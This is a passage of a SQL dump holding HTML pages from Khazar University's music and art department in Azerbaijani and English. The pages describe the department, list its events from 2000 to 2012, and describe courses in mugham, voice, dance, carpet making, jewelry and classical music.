width:268.85pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin:0in;margin-bottom:.0001pt;vertical-align:middle\"=\"\">Elektronika və telekommunikasiya</p>\r\n  </td>\r\n </tr>\r\n</tbody></table>'),(1061,672,'az','Haqqımızda','Haqqımızda','<h3><strong><img src=\"http://www.khazar.org/files/image/13_05_16_music.PNG\" style=\"border:0px  #000000;width:200px;height:100px;margin:7px;float:left\"></strong></h3><h3><strong><br></strong></h3><h3><strong>DEPARTAMENT HAQQINDA</strong></h3><h3><strong> </strong>&nbsp;</h3><p><br></p><p>İncəsənət və musiqi departamenti ixtisasından asılı olmayaraq bütün universitet&nbsp; tələbələri üçün incəsənət və musiqinin müxtəlif sahələri ilə məşğul olmasına imkan yaradır və bu fənlər universitetdə tələb olunan fənlər siyahısına salınır.</p><p>Departamentin proqramı Azərbaycan və dünya musiqisinin mirasını və arxivlərini öyrənmək üçün mühit yaradır.&nbsp;Departament peşəkar və istedadlı qrafik rəssamlarının sərgilərini, xarici teatr və konsert qruplarının turlarını və hörmətli rəssamlarla görüşləri təşkil edir. Bu davamlı fəaliyyət Xəzər Universitetini Bakının ən zəngin mədəni mərkəzlərindən birinə çevirmişdir. Xəzərin mahnı və rəqs ansamblı&nbsp; Avropa, Türkiyə, Qatar və Gürcüstanda çıxış edərək bir neçə müsabiqələrin qalibi olmuşdur. Xəzər Universitetinin ansamblı Qafqaz, rus, ispan, ərəb, ingilis, italyan, fars, türk, qaraçı və digər milətlərin mahnı və rəqslərini ifa edir.</p><p>Departamentin&nbsp; qaydalarına əməl olunması şərti ilə musiqi, rəqs, xor, xalça toxunması və yüksək ali dərəcələr əldə etmək üçün professional treyninq kursları təşkil edilir. Həmçinin departament tərəfindən mütəmadi olaraq incəsənət tarixi, dünya incəsənəti və mədəniyyəti, Asiya və Avropa mədəniyyəti kimi ixtisaslaşmış fənlər də təklif olunur. Bu departament Xəzər Universitetinin mədəniyyət sahəsinin inkişafında əsas rol oynayır.</p><p>Bu səbəbdən də Departament üçün şəhərin (Bakı) mərkəzindəki məşhur “Dünya” konsert salonu, Dünya məktəbinin yeni tikilən binasında yerləşən, müasir texniki avadanlıqlarla yüksək səviyyədə təhciz edilən konsert salonu və eyni zamanda universitetin öz binasında &nbsp;“Mərmər” konsert salonu fəaliyyət göstərir.&nbsp; 2013 –cü il mart ayının 1-də Xəzər Universitetində Mədəniyyət Mərkəzinin təntənəli açılışı oldu. Mərkəzin yaradılmasında məzsəd kiçik görüşlərin, poeziya məclislərinin, universitetə gələn qonaqların qəbulunu təşkil etməkdir. Xüsusi dizaynla hazırlanmış mərkəz xarici qonaqları Azərbaycan mədəniyyətinin inciləri- ancaq əl işlərindən ibarət olan incəsənət əsərləri ilə valeh edir.</p><p>Mədəniyyət Mərkəzində Dekorativ-tətbiqi sənətin müxtəlif sahələri öz əksini tapır:</p><br><ul><li><em>taxta üzərində şəbəkə;</em></li><li><em>batika;</em></li><li><em>rəngkarlıq;</em></li><li><em>keramika</em></li><li><em>qurama;</em></li><li><em>milli tikmə və muncuqla əl işləri</em></li></ul><p>daxildir.</p><p>Təhsil və tədqiqatla yanaşı universitetin mədəni həyatını zənginləşdirmək məqsədi ilə digər təşkilatlarla əlaqələr yaradır, konsertlər və şoular təşkil edir və buraxılış mərasimləri və digər tədbirlərdə mühüm rol oynayır.</p><p>Departamentin məqsədi xalça toxuma, musiqi duyumunun inkişafı, musiqi biliyi, həmçinin Xəzərin tələbələrinin artistik və intelekt imkan və bacarıqlarının inkişafı üçün performans imkanlarının inkişafı kimi Azərbaycan Milli incəsənətinə aid sahələrdə treyninqlər təşkil etməkdir. Universitetin toplantı salonları eyni zamanda Azərbaycan və dünya mədəniyyətinin inkişafı və təbliğinə töhfə vermək üçün universitet və digər qrupların toplantıları, məşqləri və konsertləri üçün istifadə olunur. Departament tərəfindən təklif olunan fənlər Azərbaycanın fundamental estetik dəyərlərinin təbliğini həyata keçirir. Hər tələbə milli mədəniyyətimizi daha dərindən öyrənmək üçün arzuladıqları sahəni seçə bilər. Tələbələr Xəzər Universitetində təhsil aldıqları müddətdə musiqi, rəqs, teatr və digər qruplarda iştirak edə bilər və eyni zamanda muğam, xalq musiqisi, Azərbaycanın klassik musiqisi və vokal, xor, xalçaçılıq, zərgərlik və milli kostyum dizaynı üzrə tanınmış mütəxəssislərdən dərslər alaraq akademik kredit əldə edə bilərlər. Musiqi və İncəsənət departamenti həmçinin&nbsp;<a href=\"http://www.khazar.org/az/menus/656/xalcha_muzeyi\">Xalça muzeyi</a>,&nbsp;<a href=\"http://www.khazar.org/az/menus/646/zergerlik_merkezi\">Zərgərlik muzeyi</a>&nbsp;və&nbsp;<a href=\"http://www.khazar.org/az/menus/657/milli_geyim_merkezi\">Milli geyimlər</a>&nbsp;muzeyi daxil olmaqla bir neçə mərkəzlərin işinə nəzarət edir.</p><p>Musiqi Departamentinın müxtəlif illərdə həyata keçirdiyi bəzi&nbsp; tədbirlər:&nbsp;&nbsp;</p><p></p><ol style=\"font-size:large\"><li>C.Cabbarlının anadan olmasının 100 illiyinə həsr edilmiş yubiley gecəsi. 23 fevral 2000-ci il</li><li>Azərbaycan yurdum mənim adlı ədəbi bədii kompaziya. 27 may 2000-ci il</li><li>Türkiyə “Alın boynu” dünya universitetlər halk dansları yarışması. Iyul 2000-ci il</li><li>Ziya Bünyadova həsr edilmiş musiqi gecəsi. 28 fevral 2002-ci il</li><li>“Musiqi xəzinəmizin inciləri” rubrikası. Prof. Fidan Qasımova və Xuraman Qasımova ilə görüş. 3 aprel 2003-cü il</li><li>“Musiqi xəzinəmizin inciləri” rubrikası.Prof. Vasif Adıgözəlovla görüş. 2 may 2003-cü il</li><li>Milli musiqi incilərimiz rubrikası. “Rast Dəstgahı” Azərbaycanın görkəmli muğam ustaları ilə görüş. 8 dekabr 2003-cü il</li><li>“Ömür yolu bircə andır” Prof. Hamlet İsaxanlının şeirləri əsasında mono vocal tamaşa. 24 iyun 2003-cü il</li><li>Nəriman Həsənzadənin anadan olmasının 70 illiyinə həsr olunmuş sərgi.</li><li>Xəzər Universiteti&nbsp; “Musiqi xəzinəmizin inciləri” (Klassik musiqi istedadli ifaçılarla üz-üzə) 1 may 2004-cü il</li><li>Qatar dövlətinə uğurlu səfərdən sonra Xəzər Universitetinin mahnı və rəqs ansamblının konserti. 23 may 2004</li><li>Xəzər Universiteti Beynəlxalq xorunun və vokalçılarının konserti. 1 iyun 2004</li><li>DOHA milli festivalı. 2004 –cü il</li><li>Sevgi poeziyası.</li><li>Azərbaycanda təhsil alan xarici tələbələrlə “Dostluq görüşü”</li><li>“Qarabağ çağırır bizi” (Ədəbi-bədii kompazisiya)</li><li>Qatar- Beynəlxalq festival. 2004-cü il</li><li>Şair tərcüməçi dramaturq Alla Axmadovanın yaradıcılıq gecəsi. 1iyun 2004-cü il</li><li>Şotlandiya –Beynəlxalq festival</li><li>“Musiqi xəzinəmizin inciləri” rubrikası. Prof. Fərhad Bədəlbəyli ilə üz-üzə TARİXƏ BAXMALI</li><li>Üzeyir Hacıbəyovun 120 illiyinə həsr olunmuş konsert. 22 dekabr 2005-ci il</li><li>Poeziya və Musiqi Məclisi. Hamlet İsaxanlı ilə görüş. 21 oktyabr 2005-ci il</li><li>Üz. Hacıbəyov “Arşın mal alan”( İngiliscə) 5-6 oktyabr 2006-cı il</li><li>Üzeyir Hacıbəyov və Müslüm Moqamayev-120 illiyinə həsr olunmuş ədəbi-bədii gecə. 19 yanvar 2006-cı il</li><li>Türkiyə Respublikasında Beynəlxalq festival. 1-5 may 2007</li><li>Fikrət Əmirovun 85 illiyinə həsr olunmuş xatirə gecəsi. 6 iyun 2007-ci il</li><li>“Tələbə baharı” Tələbələrin II yaradıcılıq festivalı. 2008-ci il</li><li>Türkiyə -Ağdəniz Universitəsi “XI Uluslararası Ağdəniz Gənclik şənliyi” 6 may 2008-ci il</li><li>“Tələbə baharı” tələbələrin IV yaradıcılıq festivalı. 24 aprel 2010-cu il</li><li>Şair Musa Yaqubla görüş. 28 aprel 2010-cu il</li><li>Xəzər Universitetinin 20 illik yubileyi. 18 may 2011-ci il</li><li>Fikrət Əmirov “Sevil” operası. 28 may 2011-ci il</li><li>Bəstəkar Xalq Artisti Arif Məlikovla görüş Dekabr 2012</li></ol><p></p>'),(1062,673,'en','Course Description','Course Description','<div><br></div><div><br></div><div><h3><strong><img src=\"/files/image/13_05_16_music.PNG\" style=\"width:200px;height:100px;margin:7px;float:left\"><br></strong></h3><h3><strong>The Department provides education in the following main areas</strong></h3>  <br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><strong><a href=\"http://www.khazar.org/en/menus/647/_folk_songs_and_mugham\"><img src=\"/files/image/13_05_20_IMG_2736_copy.jpg\" style=\"border:0px  #0000ee;width:150px;height:112px;margin:7px;float:left\"><br></a></strong></div><div><strong><a href=\"http://www.khazar.org/en/menus/647/_folk_songs_and_mugham\">FOLK SONGS AND MUGHAM</a></strong>  <br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><strong><a href=\"http://www.khazar.org/en/menus/649/dance\"><img src=\"/files/image/thumbnail_azeri%20dans.jpg\" style=\"width:150px;height:120px;margin:7px;float:left\"><br></a></strong></div><div><br></div><div><strong><a href=\"http://www.khazar.org/en/menus/649/dance\">AZERBAIJANI &nbsp;DANCES</a></strong>  <br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><strong><a href=\"http://www.khazar.org/en/menus/650/choir\"><img src=\"/files/image/thumbnail_chor.jpg\" style=\"width:150px;height:121px;margin:7px;float:left\"><br></a></strong></div><div><strong><a href=\"http://www.khazar.org/en/menus/650/choir\">CHOIR</a></strong>  <br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><strong><a href=\"http://www.khazar.org/en/menus/648/voice\"><img src=\"/files/image/thumbnail_voice.jpg\" style=\"width:150px;height:135px;margin:7px;float:left\"><br></a></strong></div><div><strong><a href=\"http://www.khazar.org/en/menus/648/voice\">VOICE</a></strong> </div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><strong><a href=\"http://www.khazar.org/en/menus/651/carpet_making_and_design\"><img src=\"/files/image/thumbnail_carpet.jpg\" style=\"width:150px;height:120px;margin:7px;float:left\"><br></a></strong></div><div><strong><a href=\"http://www.khazar.org/en/menus/651/carpet_making_and_design\">CARPET MAKİNG AND DESİGN</a></strong>  <br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><img src=\"/files/image/thumbnail_jewelery.jpg\" style=\"width:150px;height:121px;margin:7px;float:left\"><br></div><div><strong><a href=\"http://www.khazar.org/en/menus/653/jewelry\">JEWELRY</a></strong>  <br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><img src=\"/files/image/thumbnail_classic%20music.jpg\" style=\"width:150px;height:120px;margin:7px;float:left\"><br></div><div><strong><a href=\"http://www.khazar.org/en/menus/652/_classical_music\">Classical Music</a></strong>  <br></div><div><br></div><div><br></div>'),(1063,673,'az','Fənnlər','Fənnlər','<p style=\"font-family:\'times new roman\', times, serif;font-size:small;font-weight:bold\"><a href=\"http://www.khazar.org/az/menus/647/mugham_ve_xalq_mahnilari\"><img src=\"http://www.khazar.org/files/image/13_05_20_IMG_2736_copy.jpg\" style=\"color:#000000;font-family:\'Times New Roman\';font-size:medium;font-weight:400;border:0px #0000ee;width:150px;height:112px;margin:7px;float:left\"></a></p><h3><a href=\"http://www.khazar.org/az/menus/647/mugham_ve_xalq_mahnilari\" style=\"font-family:\'times new roman\', times, serif;font-size:small;font-weight:bold\">MUĞAM VƏ XALQ MAHNILARI</a></h3><p style=\"font-family:\'times new roman\', times, serif;font-size:small;font-weight:bold\"><a href=\"http://www.khazar.org/az/menus/647/mugham_ve_xalq_mahnilari\"><br></a></p><p style=\"font-family:\'times new roman\', times, serif;font-size:small;font-weight:bold\"><a href=\"http://www.khazar.org/az/menus/647/mugham_ve_xalq_mahnilari\"><br></a></p><p style=\"font-family:\'times new roman\', times, serif;font-size:small;font-weight:bold\"><a href=\"http://www.khazar.org/az/menus/647/mugham_ve_xalq_mahnilari\"><br></a></p><p style=\"font-family:\'times new roman\', times, serif;font-size:small;font-weight:bold\"><a href=\"http://www.khazar.org/az/menus/647/mugham_ve_xalq_mahnilari\"><br></a></p><p style=\"font-family:\'times new roman\', times, serif;font-size:small;font-weight:bold\"><a href=\"http://www.khazar.org/az/menus/647/mugham_ve_xalq_mahnilari\"><br></a></p><p style=\"font-family:\'times new roman\', times, serif;font-size:small;font-weight:bold\"><a href=\"http://www.khazar.org/az/menus/647/mugham_ve_xalq_mahnilari\"><br></a></p><p style=\"font-family:\'times new roman\', times, serif;font-size:small;font-weight:bold\"><a href=\"http://www.khazar.org/az/menus/647/mugham_ve_xalq_mahnilari\"><br></a></p><p style=\"font-family:\'times new roman\', times, serif;font-size:small;font-weight:bold\"><br></p><img src=\"http://www.khazar.org/files/image/thumbnail_azeri%20dans.jpg\" style=\"border:0px  #0000ee;width:150px;height:120px;margin:7px;float:left\"><h3><a href=\"http://www.khazar.org/az/menus/647/mugham_ve_xalq_mahnilari\"><strong style=\"color:#000000;font-family:\'Times New Roman\';font-size:medium\"></strong></a><strong style=\"color:#000000;font-family:\'Times New Roman\';font-size:medium\"><a href=\"http://www.khazar.org/az/menus/649/_reqs\">RƏQS</a></strong></h3><p style=\"font-family:\'times new roman\', times, serif;font-size:small;font-weight:bold\"><br></p><p style=\"font-family:\'times new roman\', times, serif;font-size:small;font-weight:bold\"><br></p><p style=\"font-family:\'times new roman\', times, serif;font-size:small;font-weight:bold\"><br></p><p style=\"font-family:\'times new roman\', times, serif;font-size:small;font-weight:bold\"><br></p><p style=\"font-family:\'times new roman\', times, serif;font-size:small;font-weight:bold\"><br></p><p style=\"font-family:\'times new roman\', times, serif;font-size:small;font-weight:bold\"><br></p><p style=\"font-family:\'times new roman\', times, serif;font-size:small;font-weight:bold\"><br></p><p style=\"font-family:\'times new roman\', times, serif;font-size:small;font-weight:bold\"><br></p><p style=\"font-family:\'times new roman\', times, serif;font-size:small;font-weight:bold\"><img src=\"http://www.khazar.org/files/image/thumbnail_chor.jpg\" style=\"border:0px  #0000ee;width:150px;height:121px;margin:7px;float:left\"></p><h3><strong style=\"color:#000000;font-family:\'Times New Roman\';font-size:medium\"><a href=\"http://www.khazar.org/az/menus/650/xor\">XOR</a></strong></h3><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><h3><strong style=\"color:#000000\"><a href=\"http://www.khazar.org/en/menus/648/voice\"><img src=\"http://www.khazar.org/files/image/thumbnail_voice.jpg\" style=\"border:0px #0000ee;width:150px;height:135px;margin:7px;float:left\"></a></strong><strong style=\"color:#000000\"><a href=\"http://www.khazar.org/az/menus/648/vokal\">VOKAL</a></strong></h3><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><h3><strong style=\"color:#000000\"><a href=\"http://www.khazar.org/en/menus/651/carpet_making_and_design\"><img src=\"http://www.khazar.org/files/image/thumbnail_carpet.jpg\" style=\"border:0px #0000ee;width:150px;height:120px;margin:7px;float:left\"></a></strong><strong style=\"color:#000000\">&nbsp;</strong><strong style=\"color:#000000\"><a href=\"http://www.khazar.org/az/menus/651/xalchachi_ressam\">RƏSSAM&nbsp;-&nbsp;Xalçaçılıq</a></strong></h3><p><strong><br></strong></p><p><strong><br></strong></p><p><strong><br></strong></p><p><strong><br></strong></p><p><strong><br></strong></p><p><strong><br></strong></p><p><strong><br></strong></p><p><strong><br></strong></p><img src=\"http://www.khazar.org/files/image/thumbnail_jewelery.jpg\" style=\"border:0px #000000;width:150px;height:121px;float:left\"><h3><strong>&nbsp;&nbsp;<a href=\"http://www.khazar.org/az/menus/653/zergerlik\">ZƏRGƏRLİK</a></strong></h3><p><strong><br></strong></p><p><strong><br></strong></p><p><strong><br></strong></p><p><br></p><p><br></p><p><br></p><p><strong><br></strong></p><p><strong>&nbsp; &nbsp; &nbsp;</strong>&nbsp;</p><img src=\"http://www.khazar.org/files/image/thumbnail_classic%20music.jpg\" style=\"border:0px #000000;width:150px;height:120px;margin:7px;float:left\"><br><strong><a href=\"http://www.khazar.org/az/menus/652/klassik_musiqi\"><h3>KLASSİK &nbsp;MUSİQİ</h3></a></strong><strong><a href=\"http://www.khazar.org/en/menus/651/carpet_making_and_design\"></a></strong>'),(1064,674,'en',' Folk Songs And Mugham',' Folk Songs And Mugham','<div><br></div><div><table><tbody><tr><td><img src=\"http://www.khazar.org/media/13_05_16_music.PNG\" style=\"border:0px  #000000;width:200px;height:100px;margin:7px;float:left\"></td><td><h3><strong>&nbsp; &nbsp; &nbsp; FOLK SONGS AND MUGHAM</strong>&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;</h3></td></tr></tbody></table><p>&nbsp;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>Folk Songs and Mugham</strong>- the art of mugham lies in its secrets that have been preserved for centuries. Each performer bases his or her singing on strict rules, but at the same time displays qualities of creativity, performing mughams with a creative style, adding new features, trills, voices and melodies. All of these things are gradually accepted by mugham artists and are included in the repertoire of their performance styles. Thus, mugham develops. It was the unifying musical genre of the peoples of the Middle East until about the XIV century, but later this unifying musical genre branched off according to nations because of social and political changes. The course teaches students the history of the development of mugham.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">The course also teaches rhythmic mugham and basic mugham. It is designed to help students master and understand the aesthetic values and character of national mugham music on the seven main scales (Rast, Shur, Chahargah, Bayati-Shiraz, Segah, Humayan, and Shustar).&nbsp;</p><img src=\"http://www.khazar.org/media/13_05_20_IMG_2736_copy.jpg\" style=\"border:0px  #000000;width:150px;height:112px;margin:7px;float:left\"><p>&nbsp;</p><p>&nbsp;</p><p>&nbsp;</p><p>&nbsp;</p><p><a href=\"http://www.khazar.org/v7513/Syllabus/en\" style=\"font-size:medium\"><strong style=\"font-family:\'times new roman\', times, serif\">Syllabus</strong></a></p>  <br></div>'),(1065,674,'az','Muğam və xalq mahnıları','Muğam və xalq mahnıları','<div><br></div><div><div><table><tbody><tr><td><img src=\"http://www.khazar.org/media/13_05_16_music.PNG\" style=\"border:0px  #000000;width:200px;height:100px;margin:7px;float:left\"></td><td><h3><strong>&nbsp; &nbsp; &nbsp; MUĞAM VƏ XALQ MAHNILARI</strong>&nbsp; &nbsp; &nbsp; &nbsp;</h3></td></tr></tbody></table><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Muğam sənəti Azərbaycanın profisional musiqi mədəniyyətinin şifahi irsinin mühüm qismini təşkil etməklə, Azərbaycan xalqının mədəni ənənələrində və tarixində dərin köklərə malikdir. Şərq musiqisinin möhtəşəm sənət abidəsi olan muğamın yaranmasını alimlər keçən minilliyə, islamaqədərki dövrə aid edirlər.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Xalqın bütün mahnı yaradıcılığı kimi, Şərq sənətinin mühüm formalarından olan muğam da müasir bəstəkarlıq yaradıcılığında çox şeyi müəyyən edir, müasir Azərbaycan musiqisinin ən müxtəlif saһələrini qidalandırır.&nbsp;<br>Həm milli mədəniyyət üçün, həm də bütün bəşəriyyətin mədəniyyəti üçün Azərbaycan muğamının bədii dəyəri, onun yüksək mənalılığı 2003-cü ildə YUNESKO kimi nüfuzlu beynəlxalq təsisat tərəfindən etiraf olunmuşdur. YUNESKO muğamı \"bəşəriyyətin şifahi və qeyri-maddi irsinin şah əsərlərindən biri\" elan etmişdir.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Xəzər Universitetində Azərbaycan musiqi mədəniyyətinin ayrılmaz tərkib hissəsi sayılan xalq mahnıları və muğamların yaranması tarixi də geniş şəkildə tələbələrə açılanır. Azərbaycanın görkəmli muğam ustalarınin tədris etdiyi muğam dərsləri tələbələri ritmik muğamlar və əsas muğamlardan törəyən muğamlar haqqında məlumatlandırır.</p><img src=\"http://www.khazar.org/media/13_05_20_IMG_2736_copy.jpg\" style=\"border:0px  #000000;float:left;width:150px;height:112px;margin:7px\"><p>&nbsp;</p><p>&nbsp;</p><p>&nbsp;</p><p>&nbsp;</p><p>&nbsp;&nbsp;</p><p><strong><a href=\"http://www.khazar.org/v7513/Syllabus/az\" style=\"font-family:\'times new roman\', times, serif\">Syllabus</a></strong></p><div><br></div></div>  <br></div>'),(1066,675,'en','Voice','Voice','<div><br></div><div><table><tbody><tr><td><img src=\"http://www.khazar.org/media/13_05_16_music.PNG\" style=\"border:0px  #000000;width:200px;height:100px;margin:7px;float:left\"></td><td><h3><strong>&nbsp; &nbsp; &nbsp;VOICE</strong>&nbsp; &nbsp; &nbsp;&nbsp;</h3></td></tr></tbody></table><p style=\"font-size:medium\"><span style=\"font-family:\'times new roman\', times, serif\">Music is an incomparable force that influences the spirit and mentality of people. Music speaks the language of people’s emotions. The mission fo music is not just as an art. It is hard to find a more effective way than music to penetrate people’s hearts and form their thinking. For this reason, music classes are considered very important for university students. This class contains classical opera, operetta, composed songs, classical popular songs, and folk songs. The goal of this class is to teach the details of the vocal arts and to train students in those works of classic opera that have achieved artistic immortality. The vocal profession is the indicator of the cultural level of the people. One of the main motivators of this course is to teach students to master the high cultural skill of listening to and understanding opera.</span></p><p><img src=\"http://www.khazar.org/media/13_05_22_DSC_0311_copy.jpg\" style=\"border:0px  #000000;width:150px;height:100px;margin:7px;float:left\"></p><p>&nbsp;</p><p>&nbsp;</p><p>&nbsp;</p><p>&nbsp;</p><p><br></p><p><strong><a href=\"http://www.khazar.org/v7526/Syllabus-Voice/en\">Syllabus</a></strong></p>  <br></div>'),(1067,675,'az','Vokal','Vokal','<div><br></div><div><div><table><tbody><tr><td><img src=\"http://www.khazar.org/media/13_05_16_music.PNG\" style=\"border:0px  #000000;width:200px;height:100px;margin:7px;float:left\"></td><td><h3><strong>&nbsp; &nbsp; &nbsp;VOKAL</strong>&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;</h3></td></tr></tbody></table><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Musiqi, sözün əsl mənasında böyük və qüdrətli varlıqdır. Vokal sənəti də bu varlıqların önündə dayanır. Azərbaycanda milli vokal sənətinin elmi-praktiki inkişafı vokal məktəbinin banisi Bülbülün adıyla bağlıdır.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Hələ 1918–1920-ci illərdə Azərbaycan Demokratik Respublikası dövründə «Milli marş», «Azərbaycan marşı», «Çırpınırdın Qara dəniz» kimi vətənpərvərlik ruhunda himn xarakterli mahnılar yaranmışdır ki, bunlar da vokal əsərlərinin ən gözəl nümunələri hesab olunur.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Xəzər Universitetində tələbələrin vokal klassik opera tədrisi vacib bir musiqi növü kimi tədris edilməkdədir.&nbsp; Kursda klassik opera, operetta,bəstəkar mahnıları, klassik estrada,xalq mahnılarına geniş yer verilir. Sənətin tarixi ilə yaxından tanış edilərək, tələbələrdə dünya və milli musiqinin ən yüksək zövq və profisional duyum tərbiyə edilir. Fransanın tanınmış vokalçı (tenor) Jeon Francis Monvoisin &nbsp;Xəzər Universitetində vokal fənninin tələbələrinə ustad dərsləri keçmişdir.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;Xəzər Universitetində Üz. Hacıbəylinin “Arşın mal alan ” Operettası Azərbaycanda ilk dəfə olaraq ingilis dilində universitetin müəllim və tələbə heyəti tərəfindən 2006-cı ildə tamaşaya qoyulmuşdur. Bu vokal fənnının atdığı ilk uğurlu addımlarından sayılır. Universitetdə vokal fənninin inkişaf kuliminasiyası F. Əmirov və C. Cabbarlının eyni adli pyesi əsasında tələbələr tərəfindən tamaşaya qoyulan “Sevil” operasının təqdimatı oldu. Belə ki, Azərbaycan incəsənəti tarixində bu ilk hadisə idi. Xəzər Universiteti bu işdə də birincilik qazandı.</p><p>&nbsp;</p><p><img src=\"http://www.khazar.org/media/13_05_22_DSC_0311_copy.jpg\" style=\"border:0px  #000000;width:150px;height:100px;margin:7px;float:left\"></p><p>&nbsp;</p><p>&nbsp;</p><p>&nbsp;</p><p>&nbsp;</p><p><br></p><p><strong><span style=\"font-size:medium\"><a href=\"http://www.khazar.org/v7526/Syllabus-Voice/az\" style=\"font-family:\'times new roman\', times, serif\">Syllabus</a></span></strong></p><div><strong><br></strong></div></div>  <br></div>'),(1068,676,'en','Dance','Dance','<div><br></div><div><table><tbody><tr><td><img src=\"http://www.khazar.org/media/13_05_16_music.PNG\" style=\"border:0px  #000000;width:200px;height:100px;margin:7px;float:left\"></td><td><h3><strong>&nbsp; &nbsp; &nbsp; AZERBAIJANI DANCES</strong>&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;</h3></td></tr></tbody></table><p>&nbsp;</p><p style=\"font-size:medium\"><span style=\"font-family:\'times new roman\', times, serif\"><strong>Azerbaijani dances</strong>&nbsp;carry an ancient and rich history. 2-3 thousand years before our century, in the Bronze Age, the art of the dance took a definite position in the life, customs and tradition of the people. This is known as a result of investigations. In Azerbaijan, as in many developing countries, long before the development of simple and primitive folk musical instruments, dance was accompanied by the rhythms of the audience’s hand-clapping. Tribes engaged in various professions, even hunting, carried out magical rituals with dances consisting of flexible movements demonstrating agility, quickness, and the power of man. Thus, as in many parts of the world, the different types and genres of the art of dance in Azerbaijan took their essence from a branch of oral folklore, folk dances. The art of dance obtained new content and methods through changes that occurred in the nation\'s economic, social and cultural life. Azerbaijani folk dances&nbsp;are inseparably connected to our history, reflecting its national character and mode. This goes to show to what extent the art of dance bore importance in the country\'s history and culture. The goal of organizing the dance courses is to develop students’ love of dance and also to acquaint students with dance methods. Special girls’ and boys’ ensembles are organized to teach dance traditions.&nbsp;</span></p><img src=\"http://www.khazar.org/media/13_05_22_DSC_1337_copy.jpg\" style=\"border:0px  #000000;width:150px;height:78px;margin:7px;float:left\"><p>&nbsp;</p><p>&nbsp;</p><p>&nbsp;</p><p>&nbsp;</p><p>&nbsp;</p><p><strong style=\"font-size:medium\"><a href=\"http://www.khazar.org/v7520/Syllabus-Dance/en\" style=\"font-family:\'times new roman\', times, serif\">Syllabus</a></strong></p>  <br></div>'),(1069,676,'az',' Rəqs',' Rəqs','<div><br></div><div><div><div><table><tbody><tr><td><img src=\"http://www.khazar.org/media/13_05_16_music.PNG\" style=\"border:0px  #000000;width:200px;height:100px;margin:7px;float:left\"></td><td><h3><strong>&nbsp; &nbsp; &nbsp; AZƏRBAYCAN RƏQSLƏRİ</strong>&nbsp; &nbsp; &nbsp;&nbsp;</h3></td></tr></tbody></table><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Azərbaycan xalq musiqisinin, musiqi folklorumuzun çox geniş yayılmış və qədim tarixə malik olan janrlarından biri də rəqslərdir.&nbsp;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Azərbaycan xalq rəqsləri tariximizlə ayrılmaz surətdə bağlı olub, onun milli xüsusiyyətini, həm də həyat və məişətini özündə əks etdirir. Bu da ölkənin tarixində, mədəniyyətində rəqs sənətinin nə dərəcədə böyük əhəmiyyətə malik olduğunu göstərir.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Xəzər Universiteti yarandığı gündən rəqs ansamblı öndə irəliləyir, inkişaf edir. Universitetdə rəqs kurslarının təşkilinin məqsədi tələbələrin rəqsə olan sevgilərini inkişaf etdirmək, həm də rəqs metodları ilə tələbələri tanış etməkdir. Xüsusi qiz və oğlan&nbsp; ibarət rəqs ansambılı rəqs ənənələrini tələbələrə öyrədir, sevdirir.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Azərbaycanın görkəmli məshur rəqqaslarının çalışdığı rəqs ansambılları&nbsp; dünyanın bir çox ölkələrində Xəzər Universitetini uğurla təmsil ediblər. Rəqs ansamblının reperturaında dünya xalqlarının milli və müasir rəqsləri yer alır. &nbsp;Azərbaycan Respublikasının Gənclər və İdman Nazirliyi və Azərbaycan Respublikasının Təhsil Nazirliyi ilə birgə Azərbaycanın müxtəlif bölgələrində &nbsp;keçirlən “Tələbə Baharı” tələbələrin Beynəlxaq Yaradıcılıq Festivalında Xəzər Universitetinin rəqs ansambılı 5 ildir ki, I yeri qoruyub saxlamaqdadır.</p><p><img src=\"http://www.khazar.org/media/13_05_22_DSC_1337_copy.jpg\" style=\"border:0px  #000000;width:150px;height:78px;margin:7px;float:left\"></p><p><br></p><p><br></p><p><br></p><p><strong><a href=\"http://www.khazar.org/v7520/Syllabus-Dance/az\" style=\"font-family:\'times new roman\', times, serif\">Syllabus</a></strong></p><div><br></div></div></div>  <br></div>'),(1070,681,'az','Muğam və xalq mahnıları','Muğam və xalq mahnıları','<div><div><br></div><div style=\"font-family:arial, helvetica, sans-serif;background:undefined\"><br></div><div style=\"font-family:arial, helvetica, sans-serif;background:undefined\">  <img src=\"http://www.khazar.org/files/image/13_05_16_music.PNG\" style=\"width:200px;height:100px;margin:7px;float:left\"></div><div style=\"font-family:arial, helvetica, sans-serif;background:undefined\"><br></div><div style=\"font-family:arial, helvetica, sans-serif;background:undefined\"><br></div><div style=\"font-family:arial, helvetica, sans-serif;background:undefined\"><h3>Muğam və xalq mahnıları  </h3>  <br></div><div style=\"font-family:arial, helvetica, sans-serif;background:undefined\"><br></div><div style=\"font-family:arial, helvetica, sans-serif;background:undefined\"><p>Muğam sənəti Azərbaycanın profisional 